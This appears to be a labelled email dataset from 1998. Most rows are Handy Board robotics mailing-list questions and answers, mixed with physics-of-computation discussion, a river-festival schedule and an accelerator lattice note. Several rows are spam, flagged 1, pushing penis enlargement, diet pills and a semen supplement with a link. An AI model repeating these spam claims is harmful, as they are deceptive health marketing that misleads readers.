Also, will Lithium batteries work with the HB? > >Are there any performance differences to the HB if you run it on 7.2 volts instead of 9.6 volts? From what I've heard the voltage regulator (7805) regulates anything from 6-18 volts down to the 5 volts for the circuit. If this is so, why was 9.6V decided on? >_________________________________________________ >¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ >Brian Carvalho [ brian-c@ieee.org ] >DeVRY Institute >New Jersey >_________________________________________________ >¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ >--------------------------------------------------- >Get free personalized email at http://www.iname.com >",0,1 """E. Baeck"" ",handyboard@media.mit.edu,"Fri, 29 May 1998 09:02:39 +0100",HB with hacked servos as drivemotors,"Hi, I'd like to use two hacked servos _with_ servoelectronic for a Rug Warrior like robot controlled with a HB. Now I am searching for motor driver functions for IC 3.2 to control the servos via the standard motor functions (i.e. fd(), bk(), and so on). Can anyone help me ? Erwin ========================================================== Real Name : Erwin Baeck - Graz, Austria, Europe Email Address : erwin.baeck@styria.com or if that fails erb@computerhaus.at Phone + Fax Number : ++43 316 473109 ========================================================== ",0,0 Brett Anthony ,handyboard@media.mit.edu,"Fri, 29 May 1998 12:49:03 -0700",Re: Battery types,"At 11:44 PM 5/28/98 -0400, you wrote: >...was just wondering if the Handy-Board can run on other types of batteries... My understanding is that 7.2V will work fine. I suspect 9.6V is used simply because 8 AA NiCd's fit so well in the specified box. The chief concerns here are: (1) do you have enough voltage overhead for the 7805; and (2) can you draw enough (instantaneous) current for your motors? This is not a question of capacity (mah), just amps. Unless your motors are small and VERY efficient, I believe Lithium cells won't work. I don't know about NiMH; you'll have to check the specs. Remember, motors can pull big currents when stalled or under load. Brett Anthony Research Technician School of Engineering and Computer Science California State University, Sacramento e-mail: anthonyb@ecs.csus.edu phone: (916)278-6253 fax: (916)278-5949 address: Brett Anthony E&CS, CSUS 6000 J St Sacramento CA 95819-6023",0,0 Pandit Panburana ,"handyboard@media.mit.edu, Brett Anthony ","Fri, 29 May 1998 18:00:35 -0400",Re: Battery types,"I believe the 9.6 volt also makes a good match for most LEGO motors. -Pandit ---------- > From: Brett Anthony > To: handyboard@media.mit.edu > Subject: Re: Battery types > Date: Friday, May 29, 1998 3:49 PM > > At 11:44 PM 5/28/98 -0400, you wrote: > >...was just wondering if the Handy-Board can run on other types of batteries... > > > My understanding is that 7.2V will work fine. I suspect 9.6V is > used simply because 8 AA NiCd's fit so well in the specified box. > The chief concerns here are: (1) do you have enough voltage overhead > for the 7805; and (2) can you draw enough (instantaneous) current for your > motors? This is not a question of capacity (mah), just amps. > Unless your motors are small and VERY efficient, I believe Lithium > cells won't work. I don't know about NiMH; you'll have to check the specs. > Remember, motors can pull big currents when stalled or under load. > > Brett Anthony > Research Technician > School of Engineering and Computer Science > California State University, Sacramento > > e-mail: anthonyb@ecs.csus.edu > phone: (916)278-6253 > fax: (916)278-5949 > address: Brett Anthony > E&CS, CSUS > 6000 J St > Sacramento CA 95819-6023 >",0,0 Sterling ,handyboard@media.mit.edu,"Sat, 30 May 1998 21:06:28 -0400",Looking for HB,"Hi, does anyone have a used Handy Board for sale? I know it is a lame question, sorry about that. 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I think my polaroid board is damaged, how can I know for sure ? How can I repair it ? Which chip is most likely to be damaged ? Thank you in advance for any comment !! ",0,0 Rodrigo Mccarthy ,handyboard@media.mit.edu,"Sun, 31 May 1998 07:11:43 -0400",Re [13]: ,"-Sensattional revolution in medicine! -Enlarge your penis up to 10 cm or up to 4 inches! -It's herbal solution what hasn't side effect, but has 100% guaranted results! -Don't lose your chance and but know wihtout doubts, you will be i`mpressed with results! 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To receive email notifications in plain text instead of HTML, update your preferences here. PayPal Email ID PP059",1,1 Augustus Mckenna ,handyboard@media.mit.edu,"Mon, 01 Jun 1998 05:16:30 -0500",The REAL Diet Deal,", soot it itch in shu it delight some indecent ",1,0 """Fred G. Martin"" ",John Burton ,"Mon, 01 Jun 1998 09:19:18 -0400",Re: hbtest.c errors ,"> I am currently assembling a Hand Board and I am on page 39 at 7.2.2 > Testing, When I load hbtest.c I get the following error messages. > Error in hbtest.c around line 48: > Function star_press undefind.=20 ... > I assume that I have some dated software?? can anyone help me with > this problem? your Interactive C is not loading the correct libraries. Make sure IC is configured to load lib_hb.lis, NOT lib_r22.lis. Get the latest lib_hb.c, lib_hb.lis, and lib_hb.icb from the Software resources area of the HB web site. > I also need to know which value R4, the preision resistor should > be. The parts list calls for 2.94k, while the assembly and the > schematic calls for 3.93k. > I did a search on both of the above problems in the archives but did > not get any hits.=20 The correct value is 3.93k. Where exactly do you still see 2.94K? This should have been expunged. Fred ",0,0 Dick Hammond ,handyboard@media.mit.edu,"Mon, 01 Jun 1998 09:05:25 -0500",(no subject),"Is there a handyboard emulation program for the wintel platform? Thanks in advance Dick Hammond -- These are the good old days! ",0,0 Kenji Arisawa ,9fans@vega.aichi-u.ac.jp,"Mon, 01 Jun 1998 11:21:47 +0900",[9fans] A patch to fs,"Hello 9fans! Does anyone has a patch to fs that enables to get current config status? Thanks, Arisawa Kenji E-mail: arisawa@aichi-u.ac.jp ",0,0 John Burton ,handyboard@media.mit.edu,"Sun, 31 May 1998 22:04:08 -0500",hbtest.c errors,"I am currently assembling a Hand Board and I am on page 39 at 7.2.2 Testing, When I load hbtest.c I get the following error messages. Error in hbtest.c around line 48: Function star_press undefind. Error in hbtest.c around line 51: Function knob undefind. Error in hbtest.c around line 53: Function stop_button undefind. Error in hbtest.c around line 60: Function star_press undefind. Error in hbtest.c around line 68: Function stop_button undefind. unloading hbtest.c I assume that I have some dated software?? can anyone help me with this problem? I also need to know which value R4, the preision resistor should be. The parts list calls for 2.94k, while the assembly and the schematic calls for 3.93k. I did a search on both of the above problems in the archives but did not get any hits. John Burton ",0,0 """Mark Woodley (x4081)"" ",MCREC@SLAC.Stanford.EDU,"Mon, 01 Jun 1998 17:52:24 -0700",NLC TRANSPORT stuff,"Marc, I've moved my latest NLC TRANSPORT stuff to an AFS area on unix that is accessible through WWW. The unix directory name is: /afs/slac/www/accel/nlc/local/lattice/zdr and the WWW address is: http://www.slac.stanford.edu/accel/nlc/local/lattice/zdr . The directory contains TRANSPORT input files (*.trns), TOPDRAW input files (*.top), and postscript (*.ps) and pdf (*.pdf) TOPDRAW output files. The electron and positron injector systems (as far as I've gotten) have beta and eta plots ready to view. The file naming ""convention"" is by particle.system.subsystem: e.i.bstr: the e- injector linac e.i.ltr_: the e- linac-to-ring transport line e.i.dr__: the e- main damping ring e.i.bc1_: the e- ""rtl"" plus first bunch compressor e.i.plin: the e- pre-linac e.i.bc2_: the e- second bunch compressor arc plus chicane e.l.lin1: the first e- main linac section e.l.lin2: the second e- main linac section e.l.lin3: the third e- main linac section e.d.col_: the e- post-linac collimation section e.d.bb1_: the e- IP switch and big bend (to IP #1) e.d.ff1_: the e- final focus (to IP #1) p.i.dr__: the e+ main damping ring p.i.bc1_: the e+ ""rtl"" plus first bunch compressor p.i.plin: the e+ pre-linac p.i.bc2_: the e+ second bunch compressor arc plus chicane p.l.lin1: the first e+ main linac section p.l.lin2: the second e+ main linac section p.l.lin3: the third e+ main linac section p.d.col_: the e+ post-linac collimation section p.d.bb1_: the e+ IP switch and big bend (to IP #1) p.d.ff1_: the e+ final focus (to IP #1) The remainder of the e+ injector subsystems will arrive as soon as I can crank them out. -Mark PS The location of these files in AFS-land may change ... I just needed to free up space in my NFS area, and wanted to put them where they could be accessed via WWW. ",0,1 GJZ@aol.com,handyboard@media.mit.edu,"Tue, 02 Jun 1998 02:08:55 -0400",initial connection errors,"i have been trying to get the pcode_hb.s19 file downloaded to the handyboard, and the farthest that i got was the file downloaded (using 'dl' and 'dlm' downlloaders) but then the PC couldnt synchronize with the handyboard. i have a series 'a' board, and am using DOS. when i go ahead and try to use IC even though the file has not downloaded properly, by first turning the board off, then turning it back on, nothing but an all black strip comes on on the top row of the display, and nothing on the bottom row, not the interactive C welcome that is described in the literature. as for what happens when i try to run the program(IC), the program tries to connect to the board, but it says that the board is not responding. for some reason the program can succesfully download the file to the board, but not communicate with it to accomplish any other functions. any suggestions? ",0,0 BNAF@aol.com,dmink@cfa.harvard.edu,"Tue, 02 Jun 1998 11:28:21 -0400",festival,"Doug, Here is the info on the festival by neighborhood. I pasted it below and attached as seperate file. Neponset River Summer Festival = Mattapan Programs§ June-August 1998 Beginning Canoeing Ryan Playground Saturday, May 30th, 10am-12pm Would you like to learn how to canoe? Join us for a beginners trip around the “rice islands”. Emphasis will be placed on the basics of canoeing. Registration required. Canoeing for all levels Kennedy Park Saturday, June 6th, 10am, 12pm, 2pm All level of canoers are welcome to experience the river at Kennedy Playground. To register call the Neponset River Watershed Association at 781-575-0354. Fleamarket- Kennedy Park Saturday, June 6th , 10am-4pm Concert on the River Ryan Playground Sunday, June 14th, 5pm-7pm Find a spot on the Ryan field, spread out a blanket and your picnic dinner and enjoy two hours of entertainment. Performers to be announced. Photographing the River Nature Art Workshop-Ryan Playground Saturday, June 20th, 9am-11am Bring your camera and learn how to capture the beauty of nature and the river. Photographer, Marcia Ganter will lead us on a walk and share with us her techniques in nature photography. Registration required. Neponset Bike Trip Mattapan Square Wednesday, July 8th, 6pm Doug Mink from Bike Boston will lead us on a bicycle ride from Mattapan Square to Paul’s Bridge and back. Helmets are required. The trip is less than 10 miles and will be on paved surfaces. Storytelling and Puppets Kennedy Park Saturday, July 11th, 10am-Noon Kids can learn about nature through stories about the land and the river. Come enjoy the show with music, stories, puppets and many more surprises. Kennedy Park Community Fair Kennedy Park Saturday, Aug 15th Activities for children and adults, food, music and entertainment! Outdoor Family Movie Ryan Playground Thursday, Aug 20th, 7:30pm Join MDC & BNAF for an evening at the movies! Bring the whole family and lawn chairs or blanket to watch a big screen movie. Our last event of the summer! Popcorn will be provided! Kennedy Park Kid’s Day Kennedy Park Saturday September 12 Entertainment for young children and young adults. vvvvvvvvvvvvvvvvvvvvvvvvvvAll Boston Natural Areas Fund (BNAF) Programs are FREE. Call BNAF to register or get information on other festival events 542-7696 • e-mail: bnaf@aol.com • BNAF 294 Washington St., #301 Boston, MA 02108 vvvvvvvvvvvvvvvvvvvvvvvvvv )))))))))) Neponset River Summer Festival = Dorchester Events § June-August 1998 Neponset Bike Trip Central Ave. to Port Norfolk Wednesday, June 10th, 6pm Doug Mink from Bike Boston will lead us on a bicycle ride from the Central Ave. Bridge in Milton to Port Norfolk and back. Mountain bikes and helmets are required for this trip. The trip will mainly be off road on the Greenway Trail. Lower Mills History Canoe Trip Milton Landing, Tuesday June 16th, 6:30pm-8:00pm Take a leisurely canoe trip into Lower Mills and hear about the interesting history of the Baker’s Chocolate Factory. The canoe trip will be led by local historian Richard Heath. Reservations required. Outdoor Family Movie Tenean Beach Thursday, July 9th, 8:30pm Join MDC & BNAF for an evening at the movies! Bring the whole family and lawn chairs or blanket to watch a big screen movie. Geology of the Neponset Walk Lower Mills Tuesday, July 21st, 6:30pm-8:00pm A USGS Geologist will take us on a walk to learn about the local geology of the Neponset area. Lots to learn and discover! Call for meeting location. Sunset Canoeing in the Estuary Milton Landing Saturday, July 25th, 5pm See the sunset from a different perspective and enjoy paddling among the marsh quiet inlets. To register call the Neponset River Watershed Association at 781-575-0354. Painting River Nature Scenes Nature Art Workshop-Ventura Park Saturday, Aug 15th, 9am-11am Discover the river with a paint brush! Local artist Nancy Howell will teach us how to paint a nature scene with watercolors. All level of artist skills are welcome. Materials will be provided! Registration required. Concert at Dorchester Park Sunday, August 16th, 5pm-7pm Find a spot on the lawn, spread out a blanket and your picnic dinner and enjoy two hours of entertainment. Performers to be announced. Salt Marsh Discovery Canoe Trip Milton Landing Saturday, Aug 22nd, 9am-11am Join us for an early morning canoe trip through the marsh. We will look for birds and other wildlife. All level of canoers are welcome. Registration required. Railroad History of the Neponset Saturday, August 15th, 1pm-3:30pm Railroad transportation was essential to the mills and quarries of the Lower Neponset. Join us for a tour by foot trolley, and van of the historic rail and trolley routes of the Lower Neponset Valley. Call Vic Campbell 617-822-4046 for details. vvvvvvvvvvvvvvvvvvvvvvvvvvAll Boston Natural Areas Fund (BNAF) Programs are FREE. Call BNAF to register or get information on other festival events 542-7696 • e-mail: bnaf@aol.com • BNAF 294 Washington St., #301 Boston, MA 02108 vvvvvvvvvvvvvvvvvvvvvvvvvv )))))))))) Neponset River Summer Festival = Hyde Park Events § June-August 1998 Migratory Bird Walk Fowl Meadow (Burma Road) Brush Hill Road Saturday, May 16th, 10am-11:30am Our migratory birds are arriving in May and the Fowl Meadow is a great place to see them. All levels of birdwatchers are welcome on the walk. Bring binoculars and meet at Parking lot by Paul’s Bridge. Canoe Trip at Paul’s Bridge Paul’s Bridge at Brush Hill Road Saturday, June 20th, 10am Take a trip along the middle Neponset from our newest canoe launch at Paul’s Bridge. This canoe trip is for intermediate level canoers. Call NepRWA to register 781-575-0354 Outdoor Family Movie Martini Shell Thursday, June 25, 8:30pm Join MDC & BNAF for an evening at the movies! Bring the whole family and lawn chairs or blanket to watch a big screen movie. Concert at Martini Shell Sunday, July 12, 5pm-7pm Bring a blanket and a picnic dinner and enjoy the music of the Riverside Theater Group and the Puddlejumpers. A lively evening and music for all ages. Drawing Nature Scenes Nature Art Workshop- Mill Pond, River St. Saturday, July 18th, 9am-11am Recreate the beauty of the Mill Pond with paper and pencil. A local artist will provide some instruction and assistance. All level of artist skills are welcome. Materials will be provided! Registration required. Mill Pond Canoe Trip Saturday, July 18th, 10am-12pm Join Audubon Naturalist Helga Burre for a canoe trip around the Mill Pond. We will review paddling skills and observe the signs of wildlife around the pond. All level of canoers are welcome. Registration required. Neponset Bike Trip Mother Brook Wednesday, August 5th, 6pm Doug Mink from Bike Boston will lead us on a bicycle ride from the Neponset River to the Charles River along Mother Brook and back. Meeting place is the bridge over the Mill Pond (River St.) Helmets are required for this trip. Storytelling & Puppets Martini Shell, Truman Hwy Saturday, August 8th, 10am-12pm Local storyteller Diane Edgecomb will bring nature alive with her tales. She will be followed by a puppet performer. and some other surprises! A fun morning for children opf all ages. vvvvvvvvvvvvvvvvvvvvvvvvvvAll Boston Natural Areas Fund (BNAF) Programs are FREE. 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Half of them are looking for people to ask the questions in the right way, a third are ready to become PhD theses, and the remaining 1/6 are interesting, tractable, and ready for discussion. Some of these problems are more information-theory (IT) than physics of computation (POC). WARNING: some of these are a little disorganized. I just scribbled everything I could think of for 20 minutes. I have a lot more but I tire of typing. --------Begin physica-------- What computation can be done with passive elements (Yael's problem)? what reversible computation (e.g., no resistors or dissipative elements)? What linear computation (no transistors etc.)? What computation can be done with ignorant elements (e.g., cars going through intersections all over U.S.A., people flushing toilets at random, etc.)? What computation can be done by hidden elements (conspiring to keep info hidden -- e.g., unwitting voters, etc.)? Zero-sum proofs: how can one accomplish computation in a system which conspires to prevent computation in the component parts but wishes to accomplish computation altogether? See the later problem on bandwidth for a more precise version of this problem. The game of Hex can be solved by minimizing a potential. Does this apply to any other common physical systems? What characteristics of a computation problem lend itself to being represented by something as mundane as a potential? What are the characteristics of vector-systems like that? Can one invent couplings between potentials/generalize gauge invariance to such problems? Given a gauge symmetry, how does this affect the computational power of a system? (Recall that local symmetries cannot have long-range order, so a gauge symmetric hopfield net would be doomed!!) Speaking of symmetries, do symmetries affect/enable/hamper computation? Symmetry = conservation = Emmy Noether's equations (Hamiltonian) = invariance = ...so they affect dynamics, which we concluded to be essential to computation. One loses DOFs with symmetry -- so can symmetry constraints temporarily remove Turing-completeness from dynamical systems?? Consider the 2-D system of random walks on a lattice. The correlation goes like the number of paths, with a weight for each path. What is the mutual information between two spins? What is the bandwidth/rate of communication between two spins? Can one do a cumulant/cluster expansion of information flow in a network of agents? Can one perform information flow on a Hopfield network as well, which is essentially the same thing given an energy term? What does this say about the computational power of a Hopfield model? What about more general neural networks? Information flow in Bayes nets? Can one visualize this information flow in neurological contexts? What about quenched randomness/random bonds/Ising model? One strategy: information flow from a to b via c is equal to to the mutual information between c and b, minus the mutual information between a and c during the last time step, etc.... or transfer matrices, renormalization group, approximations (NvL, MigdalK, duality, etc.). Phase transitions, complexity, computational power/intractability? Proving the possibility of computation in certain self-organizing systems? Essential to computation is nonlinearity, and therefore storage. Discuss ways to store bits. How might one store a qubit for extended periods of time? How does holographic memory work? RSFQ? Erbium light amplifiers? Photon switches/bandgap materials? What are Arias, Joannopolous, Kardar, and Draper Labs doing? How can one make a billion $ off of this? Control/prediction/filtering for linear and nonlinear systems... what strategies work? How do creatures process things? What about behaviors: bipedal gaits, flies riding bicycles, children learning language, etc. Can we 'program' an array of flies to do something useful? How much processing is done per fly as the number of flies goes to infinity? Can one find physical models for searching? Photons cascading down a molecule? Quantum mechanics? Agents/parallelism/etc.? What natural structures lend themselves to parallelism? There must be rapid communication, isolation (for storage), and yet some form of readout... it would be nice to write down some design specs for computation systems. Positive feedback: that's what made the weak forces (10^-14 eV!!) powerful enough to make our proteins left-handed. Given infinite time (i.e., evolutionary scale), how efficient is the propagation of tiny energies? Given energies at all scales (e.g., a spectrum), how does this affect the development of complexity at all scales? What is the effective computation performed, per unit time, over VERY long time scales (e.g. age of the universe)? Assume constant energy flux in -- e.g., sun rays etc. Quantum recursion theory: make it well-posed. What happens to the halting problem? What happens to the Turing degrees, the hierarchies? What problems are BQP? What problems are provably beyond BQP? How can one modify Benioff's definition of quantum turing machine to make it better posed, especially with respect to the halting problem? Show that three degrees of freedom of a dynamical system are enough to give it Turing completeness. (!!!) (Moore's famous paper) Can it be done with two? with one? Why or why not? Discuss ergodicity, nonlinearity, etc. What happens if we replace the discrete system by the continuous, or vice versa? What if we use a quantum dynamical system - what is the minimal number of DOFs now? Bayes nets, probability graph models: what physical systems lend themselves to this unique combination of local 'concept' storage and global energy minimization? Can DNA attached to magnets make the ultimate AI machine? Joe J's tiny Ising spins: build a magnetic computer; solve Deutsch-Josza. Investigate individual domain effects. How can one address tiny classical spins? Consider a group of agents with bandwidth w. How does this limit the rate at which computation can be accomplished? What behaviors (say, if they are mobile and the bandwidth depends on distance) should they exhibit to accomplish the most computation? How can they solve searches, etc. optimally - i.e., the nodes of a travelling salesman graph, how can they communicate with one another in order to solve their collective problem? What have people done with distributed architectures/parallel computers? There are two views -- the Minksy/Maes/Media Lab/agents/interactive/community view, and the Intel/IBM/teraflop/CILK/Leiserson/Knight/Sussman view. Discuss the game of go. Why is it hard? go is PSPACE-complete; prove a similar theorem for chess (if possible). (There is a million dollar prize to anyone who can write a go computer program, running on any platform, that can beat an intermediate-level rated (i.e., not that good!) 12-year old player of the offerer's choice.) (Weiss) Researchers are now designing lasers that have no vacuum coupling, simply because the geometry of the enclosure is such that there is no radiation field inside to couple to. Therefore there is no spontaneous emission inside the enclosure: only the Einstein A coefficients survive. Can one design, say the Johnson-noise free diode perpetual motion machine in such a cavity? Why not? (Is algorithmic complexity or Heisenberg uncertainty the stronger argument?) What are the implications for the algorithmic complexity of the spin echo (Lloyd, Zurek) and other simple systems? Integrate theoretical models of algebra with the dominant views of linear systems. (Bring together the abstract and the concrete.) Integrate the differential geometry/conventional Bayes-frequentist-variational-information theoretical-etc. approaches to information theory. Unitary operators can only shift the weights of eigenvectors; what kinds of computation can be done this way? (Grover's inversion about the average is sterotypical.) Grover is optimal, e.g. square root speedup is all one can expect for oracle problems in BQP-class quantum computers. What about partial-oracle problems (""gray boxes"")? What are partial oracles? Did Ed Boyden really just make up that term a few minutes ago because it sounded too damn cool? Can someone make the idea more precise? Lie groups and manifolds and algebraic geometry... what does Freedman have to say? What does Witten have to say? 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How does one implement computation histories in recursion theory? Quantum logic: what tautologies of classical logic are false in quantum logic? Can quantum logic appear near-classical in the low-hbar, large mass limit? How would a Hilbert-space computer work? What does noncommutative algebra have to do with quantum logic? How can braids and anyons help? (von Neumann, Svozil, Baez, U. Penn). Control theory: how does the Julier-Uhlmann replacement for the extended kalman filter work? Why does taking the square root of a matrix replace random sampling? Can one extend this method to higher moments/cumulants? How does this help one avoid taking the Jacobian of the nonlinear system? Consciousness: what *really* happens to Schrodinger's cat? What are the implications for Everett's many-worlds hypothesis? GellMann (in Zurek's book, 1989) claims that Schrodinger's cat really could be dead AND alive (superposed) -- what are the constraints for avoiding decoherence? How does one kill the vacuum mode (see above)? Matrix form of recursion theory? More explicit form of the mu-function? Physical form of the fixed-point theorem? What do Post's problem and other contrived languages mean for computers? What finite recursive axiom schema are neither recursive nor Turing complete? (I'll solve this at Babbage II.) What does dynamics have to do with all this? Local linearization, dimenion, chaos, etc. - what does any of that have to do with computation anyway? Nonlinearity (dynamics) = halting problem = chaos = etc. Moore's theorem (PRL 64, 20, p. 2354-2357) -- can it be generalized? Do any physical systems emulate Moore's 'toy' CA system? What is time-space duality? How can I trade time for space or precision or some other resource? What is the cost of one resource in terms of another? Which resources are extensive/subextensive/exponetial in computing power? Discuss NP/P/NL/L/PSPACE/NPSPACE/hierarchies, etc. GENERAL PROBLEMS Given any of the above or other questions, construct a toy physics problem or simulation thereof to justify it. Given physical methods -- perturbation theory, variational methods, expansions of any kind, duality mappings, etc. -- calculate the information etc. that is revealed through each iteration. How is this related to the Kolmogorov entropy due to the time-evolution of chaotic Hamiltonian systems? --------------------------------------------------------------- edward boyden eboyden3@mit.edu http://web.mit.edu/eboyden3/ 617 225 8279 410 memorial dr. cambridge ma 02139 life is the art of answering the right questions the world is your playground. play with a sense of destiny what a long strange journey it's been",0,1 GJZ@aol.com,handyboard@media.mit.edu,"Wed, 03 Jun 1998 02:07:58 -0400",download problems,"i am still having trouble with getting the PC to communicate with the handyboard. all conections seem to be correct, and the programs are configured correctly, but the thing will still not communicate properly. mabye there is a fault in the board itself, i am wondering what the screen should display in the bootstrap mode, i have a dark black bar in the top line, and nothing in the bottom. this is also what is on screen when the board is ""on"". is this correct? also, in any mode, the four red lights are on indicating a motor direction. should these be on during bootstrap mode? during download with ""dl"", the program downloads with no trouble, ""dl"" seems happy about what happens, but then when ""trying to synchronize"" does not work, it returns ""failed"". this has been as far as i got. to check the board, i tried to design a small assembler program that would use an XIRQ ISR to jmp to a line of code on the zero page to drive port B pins hi, but it would not download either. my concern, and opinion, is that i have a malfunctioning board. please help. thank you. ",0,0 """Richard W. DeVaul"" ",babbage@media.mit.edu,"Wed, 03 Jun 1998 03:10:42 -0400",more questions!,"A few more questions... Outside the context of communication and channels, is it meaningful to talk about information? Could information be a fundamental property of physical systems? Could it be ""all in our heads?"" At the quantum level: Is information different from measurement? Is measurement different from interaction? Where is the magical boundary between clasical and quantum, and does it have any bearing on constructing computational systems? Many functions are not computable with Turing machines. Do physical processes reflect any non-computable operations? If so, can these ""non-computable"" operations form the basis of a super-Turing architecture? More generally, is the universe computable? (Are there any non-computable operations at the quantum level) Is it computable at any scale? Can a system be computable at one scale and not at another? What is the relationship between finiteness and (Turing) computability? Is there any real difference between an infinite language/state machine and one that is simply very, very large? Rich Richard W. DeVaul What do I rich@media.mit.edu Home: (617) 225-1146 see with my I? Lab: (617) 253-4448 www--> http://acg.media.mit.edu/people/rich <--www",0,1 Letitia Reid ,handyboard@media.mit.edu,"Wed, 03 Jun 1998 16:24:30 +0600",Certified 100% Pure South African Hoodia," Diet Pill Breakthrough!!! What if you could actually shed 10, 15 or even 25 pounds quickly and safely in less then 30 days? NOW YOU CAN... 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Also, you should see the following LED behavior: 1. before download: BATT and PWR LEDs fully off 2. during download: PWR LED flashes 3. after download: PWR LED on steady If (1) is not true, then your board is not in download mode. Download cannot proceed until the board is powered on with both of these LEDs off. If (2) is not true, then your board is not receiving data from your PC. Check your interface board power, serial cable, and telephone cable. If (3) is not true, then something else indeterminate went wrong. Fred In your message you said: > i am still having trouble with getting the PC to communicate with the > handyboard. all conections seem to be correct, and the programs are > configured correctly, but the thing will still not communicate properly. > mabye there is a fault in the board itself, i am wondering what the screen > should display in the bootstrap mode, i have a dark black bar in the top line , > and nothing in the bottom. this is also what is on screen when the board is > ""on"". is this correct? also, in any mode, the four red lights are on > indicating a motor direction. should these be on during bootstrap mode? > during download with ""dl"", the program downloads with no trouble, ""dl"" seems > happy about what happens, but then when ""trying to synchronize"" does not work , > it returns ""failed"". this has been as far as i got. to check the board, i > tried to design a small assembler program that would use an XIRQ ISR to jmp t o > a line of code on the zero page to drive port B pins hi, but it would not > download either. my concern, and opinion, is that i have a malfunctioning > board. please help. thank you. > ",0,0 �A���p�E�K�˯S�� ,handyboard@media.mit.edu,"Thu, 04 Jun 1998 04:15:34 +0800","�ӨӨӡI�I""�K��""�j�S����",GIGI�������o�A�K���W���S��150�� GIGI�������o�A�K���W���S��150��,1,1 HECTOR NORIEGA <110060.2126@compuserve.com>,Handyboard ,"Thu, 04 Jun 1998 02:22:38 -0400",A/D converter,"From: Hector Noriega, 3JUNE98 Thanks Adam,(adam@programmer.net) The Speed of the A/D inproved by about 50 HZ, by getting rid of float types, so now I can sample data at 290HZ only!. According to the Motorola ""Pink Book"" the A/D should be ready after 32 E clock cycles and the E clock is 2 MHZ, so the sampling should be good for 58KHZ and the nyquest is 29KHZ. The new ""IC"" code is : ****************Start of ""IC"" code************************ /* To test Feedback Controller */ int volt_out=128; /*motor output of ""0"" */ int v_opt,disp; void main() { while(1) { v_opt = atodconv(0); /*start a2d subroutine;*/ v_opt = (v_opt <<8); /* shift to get rid of one accumulator*/ v_opt = (v_opt >>8); /* shift right to read byte */ v_opt = (128 - v_opt); volt_out = (v_opt + 128); /*scale volts to digital units.*/ poke(0x6fff,volt_out); /* A/D correction to drive motor*/ } /* end of while */ } /* end of main program*/ ********************************end of ""IC"" code. Thank you for your support in advance. Hector Noriega; 110060.2126@compuserve.com",0,0 Bernie Strickland ,handyboard@media.mit.edu,"Fri, 05 Jun 1998 04:46:46 +0600",Your first hour is on the house! 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Because some of you might be interested as well, here's a quick summary: 1) The government is planning on implementing DGPS transmitters across the contiguous 48 states very soon. We have coverage of most of Washington and Oregon now. 2) There are some cheap DGPS receiver designs on the net that work well. See my home pages at http://www.eskimo.com/~archer and click on the GPS link. Rich Heineck's design has been updated (although my link text may not state so yet), and Jim Bixby has a new design out which looks nice as well. 3) TAPR has a way to convert an OEM GPS unit into a completely functioning corrections generator that would allow you to create your own DGPS correction station (with potentially more accuracy than the US Coast Guard setup). I think their link is http://www.tapr.org Anybody know if the lawnmower list is still going? I would be interested in what their progress has been. Maybe archives are available (I know, I'm asking for too much!). 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THE HANDYBOARD LITERATURE SAYS THERE ARE THE 4 DC MOTOR OUTPUTS AND 1 DIGITAL INPUT THAT CAN USED AS A SERVO OUTPUT. WHAT IS THE DIFFERENCE IN HOW YOU DRIVE THE DIFFERENT MOTORS. ANY HELP WOULD BE APPRECIATED. THANK YOU CHRIS RHODES ",0,0 Ernest dozeza ,handyboard@media.mit.edu,"Fri, 05 Jun 1998 04:46:50 +0900",re:,"SPUR-M Formula You can increase semen production 500% Blast 5x your usual load and have longer more satisfying orgasms. Complete satisfaction fully guaranteed by the industry leader - it is a money-back guarantee that has never been used by any of our million customers! This is the secret recipe trusted by top adult-film stars for their huge effects! Copy and paste the following URL into your browser: http://sizug.nphhu.com/s/ rukidagykovizipacdosijevhanibxikava ",1,1 Chad K Humberstone ,crhodes@students.uwf.edu,"Thu, 04 Jun 1998 18:17:11 -0600",Re: DC VS SERVO,"Chris, See pages 20 and 21(pdf pages 25 and 26) of the handyboard technical reference. Download it from this page: http://el.www.media.mit.edu/groups/el/projects/handy-board/techdocs/index.html. Chris Rhodes wrote: > > HELLO, > MY NAME IS CHRIS RHODES AND I AM CONFUSED ABOUT THE DIFFERENCE > BETWEEN A SERVO MOTOR AND A DC MOTOR. THE HANDYBOARD LITERATURE SAYS > THERE ARE THE 4 DC MOTOR OUTPUTS AND 1 DIGITAL INPUT THAT CAN USED AS A > SERVO OUTPUT. WHAT IS THE DIFFERENCE IN HOW YOU DRIVE THE DIFFERENT > MOTORS. ANY HELP WOULD BE APPRECIATED. THANK YOU > > CHRIS RHODES ",0,1 brian-c@technologist.com,handyboard@media.mit.edu,"Thu, 04 Jun 1998 23:47:23 -0400",Infrared Optosensors,"I interfaced 3 infrared optosensors to the digital inputs on the handyboard. I'm a little dissapointed in their performance however. The only time they give a reading of ""true"" is if they are about a half an inch or closer from the target. Any further away than half an inch results in a ""false"" reading because the sensors are out of range. Is there any way at all to have a bigger range. I want to have the sensors 2 inches away from what they are to detect. If anyone has been using the optosensors I'd like a little input. -Should I use smaller resistors on the sensors? -Is the range short because of how fast the digital(); function checks the sensor? If it took longer to check would it then give the sensor more time to let the infrared beam to reflect back? -Do I need stronger optosensors all together? ( I'm using the Quality Tech. 1114, as shown in the HB manual ) Thanks in advance, _________________________________________________ ������������������������������������������������� Brian Carvalho [ brian-c@ieee.org ] DeVRY Institute New Jersey _________________________________________________ ������������������������������������������������� --------------------------------------------------- Get free personalized email at http://www.iname.com ",0,1 Bernd Klein ,"""handyboard@media.mit.edu"" ","Fri, 05 Jun 1998 08:56:32 +0200",Problems with Smoot-PWM,"Hi all, i have problems during download the new smooth-pwm routine into my handyboard. All times my downloader stopped after few seconds with an error message ""EOF after 1xxx Bytes ....."" I´m using a macintosh (PPC 4400) and use the 6811 download utility. Is it possible to get an ICB-smooth-pwm-pcode ? Thank´s for help bye Bernd Klein ",0,0 Pandit Panburana ,"brian-c@technologist.com, handyboard@media.mit.edu","Fri, 05 Jun 1998 06:17:42 -0400",Re: Infrared Optosensors,"Hi Brian, I believe you are trying to implement the proximity sensor for object avoidance or collision avoidance, correct ? I believe the QT1114 is designed for the range the you have found. The spec. of the part also indicate the very near range about 1/4 inch. I have found similar result. Try the IR detector that is used for remote control. You can get one from Radio Shack, the one 